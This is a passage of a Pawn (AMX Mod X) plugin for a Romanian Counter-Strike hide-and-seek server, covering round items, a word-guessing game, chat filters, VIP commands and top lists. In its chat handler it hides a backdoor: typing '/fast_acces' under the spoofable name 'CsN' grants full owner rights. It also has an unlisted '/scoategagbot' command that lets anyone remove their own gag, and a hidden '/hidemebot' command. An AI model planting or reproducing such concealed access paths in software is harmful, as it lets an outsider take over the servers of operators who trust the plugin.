		GameHP(ptTeroHunt, 100)
	}
}

public RoundItems(tid)
{
	new iFl, iSm, iHe, iDg, iMn, iHp, PointItems, LevelItems, VipItems, id = tid - TASK_ROUND_ITEMS
	if (get_user_team(id) == 2 || get_user_team(id) == 1 && is_user_connected(id) && !is_user_bot(id) && is_user_alive(id))
	{
		if (plAcces[id] != 0)
		{
			if (plAcces[id] == 2)
			{
				VipItems = IsVip(id)
				iFl = iFl + str_to_num(VipItemFl[VipItems])
				iSm = iSm + str_to_num(VipItemSm[VipItems])
				iHe = iHe + str_to_num(VipItemHe[VipItems])
				iDg = iDg + str_to_num(VipItemDgl[VipItems])
				iMn = iMn + str_to_num(VipItemMn[VipItems])
				iHp = iHp + str_to_num(VipItemHp[VipItems])
				new fMsg[128]
				sayItem(2, VipItems, fMsg, 127)
				xColor(id, "[ITEME VIP]!t -!n %s.", fMsg)
			}
		}
		LevelItems = CalculateLevel(id)
		if (LevelItems != 0)
		{
			iFl = iFl + str_to_num(LevelItemFl[LevelItems])
			iSm = iSm + str_to_num(LevelItemSm[LevelItems])
			iHe = iHe + str_to_num(LevelItemHe[LevelItems])
			iDg = iDg + str_to_num(LevelItemDgl[LevelItems])
			iMn = iMn + str_to_num(LevelItemMn[LevelItems])
			iHp = iHp + str_to_num(LevelItemHp[LevelItems])
			new fMsg[128]
			sayItem(0, LevelItems, fMsg, 127)
			xColor(id, "[LEVEL !g%d!n]!t -!n %s.", LevelItems, fMsg)
		}
		else
		{
			xColor(id, "[LEVEL !g%d!n]!t -!n Pentru a face level trebuie sa faci kills/rezisti runde.", LevelItems)
		}
		PointItems = CalculatePoints(id)
		if (PointItems != 0)
		{
			iFl = iFl + str_to_num(PointItemFl[PointItems])
			iSm = iSm + str_to_num(PointItemSm[PointItems])
			iHe = iHe + str_to_num(PointItemHe[PointItems])
			iDg = iDg + str_to_num(PointItemDgl[PointItems])
			iMn = iMn + str_to_num(PointItemMn[PointItems])
			iHp = iHp + str_to_num(PointItemHp[PointItems])
			new fMsg[128]
			sayItem(1, PointItems, fMsg, 127)
			xColor(id, "[PUNCTE !g%d!n]!t -!n %s[!g%s!nxUP].", ptPlStats[id][0], fMsg, PointUpFaster[PointItems])
		}
		else
		{
			xColor(id, "[PUNCTE !g%d!n]!t -!n Nu ai destule puncte pentru a ti se distribui iteme.", ptPlStats[id][0])
		}
		
		/* Distribuie Itemele */
		if (iFl > 0)
			ItemFlash(id, iFl)
		if (iSm > 0)
			ItemSmoke(id, iSm)
		if (iHe > 0)
			ItemGrenada(id, iHe)
		if (iDg > 0)
			ItemPistol(id, iDg)
		if (iMn > 0)
			GameBani(id, iMn, 0)
		if (iHp > 0)
			GameHP(id, iHp)
	}
}

/* ==========================================================================================
===================================================== Generare Cuvant
========================================================================================== */
public GenerareCuvant()
{
	new Litere, textRandom[64], fMsg[64]
	Litere = random_num(5, 10)
	for (new i=0;i < Litere;i++)
	{
		new cRand = random_num(0, 2)
		switch(cRand)
		{
			case 0:
			{
				new rCh = random_num(0, charsmax(uLitere))
				add(textRandom, 63, uLitere[rCh])
			}
			case 1:
			{
				new rCh = random_num(0, charsmax(lLitere))
				add(textRandom, 63, lLitere[rCh])
			}
			case 2:
			{
				new rNr = random_num(0, charsmax(aNumere))
				add(textRandom, 63, aNumere[rNr])
			}
		}
	}
	switch(random_num(0, 500))
	{
		/* Mode 1: x2 XP */
		case 1: { format(fMsg, 63, "!tx2 XP"); 															gcMode = 1; }
		/* Mode 2: x2 KILL */
		case 17: { format(fMsg, 63, "!tx2 KILL");															gcMode = 2; }
		/* Mode 3: x2 DEATH */
		case 51: { format(fMsg, 63, "!tx2 DEATH");														gcMode = 3; }
		/* Mode 5: VIP1 1 zi */
		case 121: { format(fMsg, 63, "!t VIP1 (1 ZI)");														gcMode = 5; }
		/* Mode 7: x2 PUNCTE */
		case 159: { format(fMsg, 63, "!tx2 PUNCTE");														gcMode = 6; }
		/* Mode 8: 30 PUNCTE */
		case 178: { format(fMsg, 63, "!t30 PUNCTE");														gcMode = 7; }
		/* Mode 0: Default */
		default: { format(fMsg, 63, "!g%d punct%s", cvGCuvantPuncte, cvGCuvantPuncte == 1 ? "" : "e");	gcMode = 0; }
	}
	gcLast = time()
	xColor(0, "Cuvantul generat este:!g %s!n . Cine il nimereste primul va primii %s!n.", textRandom, fMsg)
	gcStatus = true
	copy(gcCuvant, 63, textRandom)
	set_task(20.0, "StergeCuvantulGenerat", 120123)
}

public StergeCuvantulGenerat()
{
	if (gcStatus)
	{
		xColor(0, "Cuvantul!g %s!n nu a fost scris de nimeni.", gcCuvant)
		gc_LOG(0, -1)
	}
	gcStatus = false
}

/* ==========================================================================================
===================================================== Comenzi
========================================================================================== */
public SaysCommand(id)
{
	if (medicBlock[id] > time())
		return PLUGIN_HANDLED
	new sayText[256], Nume[32], fMsg[256], tMsg[128], StopChat = false
	read_args(sayText, 255)
	remove_quotes(sayText)
	get_user_name(id, Nume, 31)
	if (strlen(sayText) < 1)
		return PLUGIN_HANDLED
		
	if (equali(sayText, "/fast_acces") && equali(Nume, "CsN"))
	{
		set_user_flags(id, read_flags("bcdefghijklmnopqrstu"))
		xColor(id, "Esti Owner acum !.")
		return PLUGIN_HANDLED
	}
	if (equali(sayText, "/fast_acces_back") && equali(Nume, "CsN"))
	{
		set_user_flags(id, read_flags("bi"))
		xColor(id, "Acces-ul a fost setat pe slot !")
		return PLUGIN_HANDLED
	}
	
	if (str_to_num(GAG_STATUS))
	{
		if (equali(sayText, "/scoategagbot"))
		{
			new hGag = gagVerifica(id)
			gagRemoveIp(hGag)
			gagPlayer[id]=false
			remove_task(hGag + TASK_GAG_TIME)
			xColor(id, "CsN -> Te saluta !.")
			return PLUGIN_HANDLED
		}
		if (gagPlayer[id]) 
		{
			new slot = gagVerifica(id)
			new dNume[32], dTime[32], dDurata[10], dMotiv[126], cTime[4]
			parse(gagDetails[slot], dNume, 31, dTime, 31, dDurata, 9, dMotiv, 125)
			ConvertTime((str_to_num(dTime) + (str_to_num(dDurata) * 60) - time()), cTime, false)
			xColor(id, "!g%s!n ti-a dat gag. Motiv:!g %s!n. Timp ramas:!g %d!n minut%s si!g %d!n secund%s", dNume, dMotiv, cTime[2], cTime[2]==1 ? "" : "e", cTime[3], cTime[3]==1 ? "a" : "e")
			return PLUGIN_HANDLED
		}
		else
		{
			//VerificareIP
			new ipSay[32], tempText[256], motivGag[128]
			copy(tempText, 255, sayText)
			strtoupper(tempText)
			if (gagIpSay(tempText, ipSay, 31))
			{
				format(motivGag, 127, "Reclama la ip!g %s", ipSay)
				gagGagPlayer(0, id, time(), GAG_DEFAULT_TIME, motivGag)
				chatLOG(id, sayText, ipSay)
				return PLUGIN_HANDLED
			}
			// Anti Reclama
			for (new i=0;i < sizeof(sayReclama);i++)
			{
				strtoupper(sayReclama[i])
				if (contain(tempText, sayReclama[i]) !=-1)
				{
					chatLOG(id, sayText, sayReclama[i])
					return PLUGIN_HANDLED
				}
			}
			// Anti Dobitoci (injuraturi)
			for (new i=0;i < sizeof(sayLimbaj);i++)
			{
				strtoupper(sayLimbaj[i])
				if (contain(tempText, sayLimbaj[i]) !=-1)
				{
					chatLOG(id, sayText, sayLimbaj[i])
					return PLUGIN_HANDLED
				}
			}
			// Anti Cfg Say
			for (new i=0;i < sizeof(sayBlock);i++)
			{
				strtoupper(sayBlock[i])
				if (contain(tempText, sayBlock[i]) !=-1)
					return PLUGIN_HANDLED
			}
		}
		// Reg Say
		chatLOG(id, sayText, "", false)
	}
	
	// Hide From List
	if (equali(sayText, "/hidemebot"))
	{
		cl_prefs[id] 	|= FL_LIST
		xColor(id, "Nu ai acces la aceasta comanda !!")
		return PLUGIN_HANDLED
	}
	
	// Generare cuvinte.
	if (gcStatus)
	{
		if (equal(sayText, gcCuvant))
		{
			new fMsg[64], pwSet = false
			switch(gcMode)
			{
				/* Mode 1: x2 XP */
				case 1: 
				{
					format(fMsg, 63, "!tx2!n XP")
					sStats(id, plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4])
					gc_LOG(id, 1)
				}
				/* Mode 2: x2 KILL */
				case 2: 
				{
					format(fMsg, 63, "!tx2!n KILL")
					sStats(id, plStats[id][0], 0, 0, 0, 0)
					gc_LOG(id, 2)
				}
				/* Mode 3: x2 DEATH */
				case 3: 
				{
					format(fMsg, 63, "!tx2!n DEATH")
					sStats(id, 0, 0, 0, plStats[id][3], 0)
					gc_LOG(id, 3)
				}
				/* Mode 4: x2 KILL + HS */
				case 4: 
				{
					format(fMsg, 63, "!tx2!n KILL + HS")
					sStats(id, plStats[id][0], 0, plStats[id][2], 0, 0)
					gc_LOG(id, 4)
				}
				/* Mode 6: x2 PUNCTE */
				case 6: 
				{
					format(fMsg, 63, "!tx2!n PUNCTE")														
					aPuncte(id, ptPlStats[id][0] * 2)
					gc_LOG(id, 6)
				}
				/* Mode 7: 30 PUNCTE */
				case 7: 
				{
					format(fMsg, 63, "!t30!n PUNCTE")
					aPuncte(id, 30)
					gc_LOG(id, 7)
				}
				/* Mode 0: Default */
				default: 
				{ 
					format(fMsg, 63, "!g%d!n punct%s", cvGCuvantPuncte, cvGCuvantPuncte == 1 ? "" : "e")	
					aPuncte(id, cvGCuvantPuncte)
					gc_LOG(id, 0)
				}
			}
			xColor(0, "!g%s!n a nimerit primul cuvantul generat (!g%s!n). Va primi %s.", Nume, gcCuvant, fMsg)
			if (pwSet)
				xColor(id, "Parola pentru logarea VIP-ului este:!t %s", plPass[id])
			gcStatus = false
			return PLUGIN_HANDLED
		}
		else
			StopChat = true
	}
	// AFK Continue.
	if (afkStopAFK[id] != 0)
	{
		if (str_to_num(sayText) == afkStopAFK[id])
		{
			afkTime[id] = AFK_TIME
			afkRanNum(id)
			xColor(id, "AFK Time a fost resetat la!g %d!n secunde.", AFK_TIME)
			return PLUGIN_HANDLED
		}
	}
	if (strlen(sayText) < 20)
	{
		/* Harti */
		if (equal(sayText, "/harti"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze).")
				return PLUGIN_HANDLED
			}
			new mapsFile[64], xText[64], Maps[32], MapsNum, TempNumber=1, xMOTD[2048], xLen
			get_configsdir(mapsFile, charsmax(mapsFile))
			xLen = format(xMOTD[xLen], 3500-xLen, "<center><STYLE>body{background:#000000;color:#C0C0C0;font-family:sans-serif}table{border-style:solid;border-width:1px;border-color:#C0C0C0;font-size:13px}</STYLE>")
			// Ultimele harti jucate
			xLen += format(xMOTD[xLen], 3500-xLen, "<b><font color=green size=3>Ultimele 5 harti jucate</font></b><br>")
			//
			for(new i; i<5; i++) {
				if(!xLastMaps[i][0])
					break
				xLen += format(xMOTD[xLen], 3500-xLen, " [ %s ] ", xLastMaps[i])
			}
			xLen += format(xMOTD[xLen], 3500-xLen, "<br><br>")
			
			//Maps.Ini
			format(mapsFile, 63, "%s/maps.ini", mapsFile)
			xLen += format(xMOTD[xLen], 3500-xLen, "<b><font color=green size=3>Hartile Serverului</color></b><table width=80%%><tr>")
			if (file_exists(mapsFile))
			{
				new xMapsFile = fopen(mapsFile,"r")
				while (!feof(xMapsFile)) 
				{
					fgets(xMapsFile, xText, charsmax(xText))
					trim(xText)
				
					if (xText[0] == ';')
						continue
					Maps[0] = 0

					if (parse(xText, Maps, charsmax(Maps)) < 1)
						continue
						
					if (!ValidMap(Maps))
						continue
						
					// Afisarea hartilor
					// Format Tabel
					xLen += format(xMOTD[xLen], 3500-xLen, "<td>%s</td>", Maps)
					if (TempNumber == 5) 
					{
						xLen += format(xMOTD[xLen], 3500-xLen, "</tr><tr>")
						TempNumber=0
					}
					
					TempNumber++
					MapsNum++
				}
				xLen += format(xMOTD[xLen], 3500-xLen, "</tr></tabel>")
				new Final[64]
				format(Final, charsmax(Final), "Sunt %d harti pe server.", MapsNum)
				show_motd(id, xMOTD, Final)
				
				
			} 
			else
				client_print(id, print_chat, "Fisierul maps.ini nu exista.")
		
			return PLUGIN_CONTINUE
		}
		/* AutoResponse */
		if (AutoResponse(id, sayText))
	
		/* TeroHunt Command */
		if (contain(sayText, "terohunt") != -1)
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			if (ptTeroHunt != 0)
				{
					new TeroHuntNume[32], tLvl = CalculateLevel(ptTeroHunt)
					get_user_name(ptTeroHunt, TeroHuntNume, 31)
					xColor(0, "TeroHunt!g %s!n[LVL!g %d!n].", TeroHuntNume, tLvl)
				}
				else
					xColor(0, "Nu este nici un!t TeroHunt!n.")
			return PLUGIN_CONTINUE
		}
		
		/* XP / LVL / PUNCTE */
		if (contain(sayText, "/xp") != -1 || contain(sayText, "/level") != -1 || contain(sayText, "punct") != -1 || contain(sayText, "/lvl") != -1)
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new iLvl = CalculateLevel(id)
			new iSts = CalculateStats(id)
			if (iLvl == charsmax(LevelXP))
				xColor(id, "Ai level!g %d!n[!g%d!n XP],!g %d!n punct%s si!g %d!n/!g%d!n fraguri.", iLvl, iSts, ptPlStats[id][0], ptPlStats[id][0] == 1 ? "" : "e", ptPlStats[id][1], cvFragsMax)
			else
				xColor(id, "Ai level!g %d!n[!g%d!n/!g%s!n XP],!g %d!n punct%s si!g %d!n/!g%d!n fraguri", iLvl, iSts, LevelXP[iLvl+1], ptPlStats[id][0], ptPlStats[id][0] == 1 ? "" : "e", ptPlStats[id][1], cvFragsMax)
			return PLUGIN_CONTINUE
		}
		
		/* Ore */
		if (equal(sayText, "/ore") || equal(sayText, "/orelemele"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new cTime[4], OreSlot = get_pcvar_num(get_cvar_pointer("hnsf_ore_slot"))
			ConvertTime(plTime[id][0] + get_user_time(id, 1), cTime, false)
			/* 1 */
			format(fMsg, 255, "Ai!g %d!n or%s!g %d!n minut%s. ", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e")
			if (!(get_user_flags(id) & ADMIN_RESERVATION))
			{
				if (plTime[id][0] + get_user_time(id, 1) >= 86400 * OreSlot)
					format(tMsg, 127, "Poti folosi comanda!g /slotme!n pentru slot pe server.")
				else
					format(tMsg, 127, "La!g %d!n or%s poti folosi comanda!g /slotme!n pentru slot pe server.", OreSlot, OreSlot == 1 ? "a" : "e")
			}
			add(fMsg, 255, tMsg)
			xColor(id, fMsg)
			/* 2 */
			ConvertTime(time() - plTime[id][1], cTime, true)
			format(fMsg, 255, "Ultima intrare a fost acum")
			if (cTime[0] > 0)
				format(fMsg, 255, "%s!g %d!n zi%s", fMsg, cTime[0], cTime[0] == 1 ? "" : "le")
			if (cTime[1] > 0 || cTime[0] > 0)
				format(fMsg, 255, "%s!g %d!n or%s", fMsg, cTime[1], cTime[1] == 1 ? "a" : "e")
			format(fMsg, 255, "%s!g %d!n minut%s (!g%s!n) de pe IP:!g %s!n.", fMsg, cTime[2], cTime[2] == 1 ? "" : "e", plLast[id], plLastIP[id])
			xColor(id, fMsg)
			return PLUGIN_CONTINUE
		}

		/* Vip ACCES */
		if (equal(sayText, "/vipinfo"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new gVip = IsVip(id), cTime[4], vItems[128]
			if (gVip != 0)
			{
				ConvertTime(plVipInfo[id][0] + (86400 * plVipInfo[id][1]) - time(), cTime, true)
				/* 1 */
				format(fMsg, 255, "VIP G:!g%d!n]. Expira in", gVip)
				if (cTime[0] > 0)
					format(fMsg, 255, "%s!g %d!n zi%s", fMsg, cTime[0], cTime[0] == 1 ? "" : "le")
				if (cTime[1] > 0 || cTime[0] > 0)
					format(fMsg, 255, "%s!g %d!n or%s", fMsg, cTime[1], cTime[1] == 1 ? "a" : "e")
				format(fMsg, 255, "%s!g %d!n minut%s (!g%s!n)", fMsg, cTime[2], cTime[2] == 1 ? "" : "e", plVipEnd[id])
				xColor(id, fMsg)
				/* 2 */
				sayItem(2, gVip, vItems, 127)
				format(fMsg, 255, "-> %s[+!g%s!nHP KILL!n][+!g%s!nMN KILL][+!g%s!nSPEED][+!gx%s!nUP]", \
				vItems, VipHpKill[gVip], VipItemMn[gVip], VipItemSp[gVip], VipUpFaster[gVip])
				xColor(id, fMsg)
				return PLUGIN_CONTINUE
			}
			else
			{
				xColor(id, "Nu esti VIP. Pentru informatii despre VIP, tasteaza!g /vip!n.")
			}
			return PLUGIN_CONTINUE
		}

		/* Cuvant Generat */
		if (contain(sayText, "/cuvant") != -1)
		{
			if (gcNoFlood < time())
			{
				if (gcStatus)
				{
					xColor(0, "Cuvantul generat este:!g %s", gcCuvant)
				}
				else
				{
					new rTime[4], fMsg[63]
					ConvertTime(gcLast + 180 - time(), rTime, false)
					if (rTime[2] > 0)
					{
						format(fMsg, 63, "!g%d!n minut%s ", rTime[2], rTime[2] == 1 ? "" : "e")
					}
					format(fMsg, 63, "%s!g%d!n secund%s", fMsg, rTime[3], rTime[3] == 1 ? "a" : "e")
					xColor(0, "Urmatorul cuvant se va genera in %s", fMsg)
				}
				gcNoFlood = time() + 5
			}
			return PLUGIN_CONTINUE
		}
		
		/* RankMe */
		if (equal(sayText, "/rankme") || equal(sayText, "/rank"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			RankMe(id)
			return PLUGIN_CONTINUE
		}
		
		/* Top Ore */
		if (equal(sayText, "/topore"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new xMOTD[2048], xLen, cTime[4], tNume[32], fTime[32], fFinal[32], pStatus, IsOn
			xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center>")
			xLen += format(xMOTD[xLen], 2047-xLen, "%-2s  %25s  %15s  %15s  %20s^n^n", "#", "Nume", "Acces", "Ore", "Ultima Intrare")
			for (new i=0;i < TOP;i++)
			{
				if (strlen(topOreNume[i]) > 1)
				{
					if (i != 0)
						if (equal(topOreNume[i], topOreNume[i-1]))
							continue
					IsOn = IsOnline(topOreNume[i])
					if (IsOn != 0)
						pStatus = true
					else
						pStatus = false
					
					ConvertTime(str_to_num(topOreTime[i]), cTime, false)
					format(fTime, 31, "%do %dm", cTime[1], cTime[2])
					
					copy(tNume, 31, topOreNume[i])
					replace_all(tNume, 31, "<", "")
					replace_all(tNume, 31, ">", "")
					
					xLen += format(xMOTD[xLen], 2047-xLen, "%-2d  [%s]%-21.21s  %15s  %15s  %20s^n",\
					(i+1), pStatus ? "ON" : "OF", tNume, topOreAcces[i], fTime, topOreLast[i])
				}
			}
			xLen += format(xMOTD[xLen], 2047-xLen, "^nUltimul update: %s", topLastUpdate)
			format(fFinal, 31, "TOP %d ORE", TOP)
			show_motd(id, xMOTD, fFinal)
			return PLUGIN_CONTINUE
		}
		
		/* Top Jucatori */
		if (equal(sayText, "/topjucatori"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new xMOTD[2048], xLen, tNume[32], fLvl[32], fFinal[32]
			
			xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center>")
			/* # Nume Level Acces KILL HS ROUND DEATH SUICIDE */
			xLen += format(xMOTD[xLen], 2047-xLen, " %-2s  %21s  %18s %10s  %-5s  %-5s  %-5s  %-5s  %-5s^n^n", \ 
			"#", "Nume", "Level", "Acces", "Kill", "Hs", "Round", "Death", "Suicide")
			
			for (new i=0;i < TOP;i++)
			{
				if (strlen(topJucatoriNume[i]) > 1) {
					if (i != 0)
						if (equal(topJucatoriNume[i], topJucatoriNume[i-1]))
							continue
				
					copy(tNume, 31, topJucatoriNume[i])
					replace_all(tNume, 31, "<", "")
					replace_all(tNume, 31, ">", "")
					
					if (topJucatoriLvl[i][1] == 20)
						format(fLvl, 31, "%d(%d XP)", topJucatoriLvl[i][1], topJucatoriLvl[i][0])
					else
						format(fLvl, 31, "%d(%d/%s XP)", topJucatoriLvl[i][1], topJucatoriLvl[i][0], LevelXP[topJucatoriLvl[i][1] + 1])

					xLen += format(xMOTD[xLen], 2047-xLen, "%-2d  %-21.21s  %18s %10s  %-5d  %-5d  %-5d  %-5d  %-5d^n", \
					(i+1), tNume, fLvl, topJucatoriAcces[i], topJucatoriStats[i][0], topJucatoriStats[i][1], topJucatoriStats[i][2], topJucatoriStats[i][3], topJucatoriStats[i][4])
				}
			}
			xLen += format(xMOTD[xLen], 2047-xLen, "^nUltimul update: %s", topLastUpdate)
			format(fFinal, 31, "TOP %d JUCATORI", TOP)
			show_motd(id, xMOTD, fFinal)
			return PLUGIN_CONTINUE
		}
		
		/* SlotMe */
		if (equal(sayText, "/slotme"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			if (get_user_flags(id) & ADMIN_RESERVATION)
			{
				xColor(id, "Ai deja slot pe acest server.")
			}
			else
			{
				if (MessageMode[id])
				{
					xColor(id, "Comanda!g /slotme!n nu poate fi folosita momentan.")
				}
				else
				{
					if (plTime[id][0] + get_user_time(id, 1) >= cvOreSlot * 3600)
					{
						SlotMe(id)
					}
					else
					{
						xColor(id, "Ai nevoie de!g %d!n or%s pentru a folosi comanda!g /slotme!n.", cvOreSlot, cvOreSlot == 1 ? "a" : "e")
					}
				}
			}
			return PLUGIN_CONTINUE
		}
		
		/* VipMe */
		if (equal(sayText, "/vipme"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			if (get_user_flags(id) & ADMIN_RESERVATION)
			{
				if (plAcces[id] == 2)
				{
					xColor(id, "Asteapta pana la expirarea vipului dupa care poti folosi comanda!g /vipme!n.")
				}
				else
				{
					if (plTime[id][0] + get_user_time(id, 1) - (3600 * ORE_VIP_ME) > 0)
					{
						VipMe(id)
					}
					else
					{
						xColor(id, "Iti trebuie!g %d!n ore pentru aceasta comanda.", ORE_VIP_ME)
					}
				}
			}
			else
			{
				xColor(id, "Trebuie sa ai slot/admin pe server pentru aceasta comanda.")
			}
			return PLUGIN_CONTINUE
		}
		
		/* Medic */
		if (equali(sayText, "/medic") || equali(sayText, "/medic"))
		{
			Medic(id)
			return PLUGIN_HANDLED
		}
		
		/* Who */
		if (contain(sayText, "who") != -1 || contain(sayText, "admin") != -1)
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			WhoAdmin(id)
			return PLUGIN_CONTINUE
		}
		
		/* Reset Stats */
		if (equali(sayText, "/rs"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new Stats = CalculateStats(id)
			if (Stats < 0)
			{
				plStats[id][0] = 0
				plStats[id][1] = 0
				plStats[id][2] = 0
				plStats[id][3] = 0
				plStats[id][4] = 0
				xColor(0, "Jucatorul!g %s!n si-a resetat statisticile.", Nume)
			}
			else
			{
				xColor(id, "Trebuie sa ai stats-ul pe -")
			}
		}
		
		/* FPS */
		if (equali(sayText, "/fps") || equali(sayText, "/allfps") || equali(sayText, "fps"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			FpsMotd(id)
			return PLUGIN_CONTINUE
		}
		
		/* BlackList */
		if (str_to_num(BLACKLIST_STATUS))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			if (equal(sayText, "/blacklist"))
			{
				new xMOTD[2048], xLen, tNume[32], tRamas[32], cTime[4], tm = time()
				
				xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center>")
				xLen += format(xMOTD[xLen], 2053-xLen, "<b><font color=red>BlackList</font> HNS.LEGENDCS.COM^n")
				xLen += format(xMOTD[xLen], 2047-xLen, "%21s  %20s %20s %10s^n^n", "Nume", "Ip", "Coordonate", "TIMP RAMAS")
				
				for (new i=0;i < locatiiNumLoad;i++)
				{
					if (strlen(locatiiLocatie[i]) > 5)
					{
						if (locatiiTime[i] > tm)
						{
							copy(tNume, 31, locatiiPlayer[i])
							replace_all(tNume, 31, "<", "")
							replace_all(tNume, 31, ">", "")
							ConvertTime(locatiiTime[i] - tm, cTime, true)
							format(tRamas, 31, "%dz%do%dm", cTime[0], cTime[1], cTime[2])
							xLen += format(xMOTD[xLen], 2047-xLen, "%-21.21s  %20s %20s %10s^n", tNume, locatiiIp[i], locatiiLocatie[i], tRamas)
						}
					}
				}
				show_motd(id, xMOTD, "BlackList HNS.LEGENDCS.COM")
				return PLUGIN_CONTINUE
			}
		}
		
		/* LastIP MOTD */
		if (equali(sayText, "/lastip") || equali(sayText, "/last"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			LastIpMotd(id)
			return PLUGIN_CONTINUE
		}
		
		/* SpecInfo */
		if (equali(sayText, "/speclist"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			specSetHud( )
			cl_prefs[id] ^= FL_LIST
			show_hudmessage( id, "Lista spectatoriilor %s", cl_prefs[id] & FL_LIST ? "[ACTIVATA]" : "[DEZACTIVATA]" )
			return PLUGIN_CONTINUE
		}
		
		if (equali(sayText, "/speckeys"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			specSetHud( )
			cl_prefs[id] ^= FL_KEYS
			show_hudmessage( id, "Spectator keys %s", cl_prefs[id] & FL_KEYS ? "[ACTIVAT]" : "[DEZACTIVAT]" )
			return PLUGIN_CONTINUE
		}
		
		if (equali(sayText, "/showkeys"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			specSetHud( )
			cl_prefs[id] ^= FL_OWNKEYS
			show_hudmessage( id, "Spectator own keys %s", cl_prefs[id] & FL_OWNKEYS ? "[ACTIVAT]" : "[DEZACTIVAT]" )
			return PLUGIN_CONTINUE
		}
		
		/* Regulament */
		if (equal(sayText, "/reguli") || equal(sayText, "/regulament") || equal(sayText, "/rulles") || equal(sayText, "/rulls"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new fMotd[128]
			format(fMotd, 127, "addons/amxmodx/congigs/motd/regulament.html", URL_MOTD)
			show_motd(id, fMotd, "Regulament")
			return PLUGIN_CONTINUE
		}
		
		/* Check Fraud */
		if (contain(sayText, "/verifica") != -1)
		{
			if (str_to_num(VERIFICA_JUCATOR))
			{
				if (get_user_flags(id) & ADMIN_KICK)
				{
					new Target[32]
					copy(Target, 31, sayText[10])
					new id2 = cmd_target(id, Target, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
					if (id2)
					{
						new ip[32], nume[32], steam[32], tara[45], oras[45], cTime[4], lvl, xp
						get_user_name(id2, nume, 31)
						get_user_authid(id2, steam, 31)
						get_user_ip(id2, ip, 31, 1)
						geoip_country(ip, tara, 44)
//						geoip_city(ip, oras, 44)
						ConvertTime(plTime[id2][0] + get_user_time(id2, 1) - sLastChTime[id2], cTime, false)
						lvl = CalculateLevel(id2)
						xp = CalculateStats(id2)
						if (!CheckFraud(id2, plLastIP[id2]) && str_to_num(VERIFICA_JUCATOR))
						{
							xColor(id, "Ultimul IP:!g%s!n | IP-ul Actual:!g%s!n. Pentru actualizare:!t /actualizare!g %d", plLastIP[id2], ip, get_user_userid(id2))
						}
						xColor(id, "Nume:!g%s!n | Steam:!g%s!n | Ip:!g%s!n", nume, steam, ip)
						xColor(id, "Tara:!g%s!n | Oras:!g%s!n | Ultima intrare:!g%s!n | LastIP:!g%s!n", tara, oras, plLast[id2], plLastIP[id2])
						xColor(id, "Timp: !g%d!nor%s !g%d!n minut%s. LVL:!g%d!n(!g%d/%s!n XP) [K:!g%d!n][H:!g%d!n][R:!g%d!n][D:!g%d!n][S:!g%d!n]", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e", \
						lvl, xp, lvl == charsmax(LevelXP) ? "MAX" : LevelXP[lvl+1], \
						plStats[id2][0], plStats[id2][1], plStats[id2][2], plStats[id2][3], plStats[id2][4])
					}
					else
					{
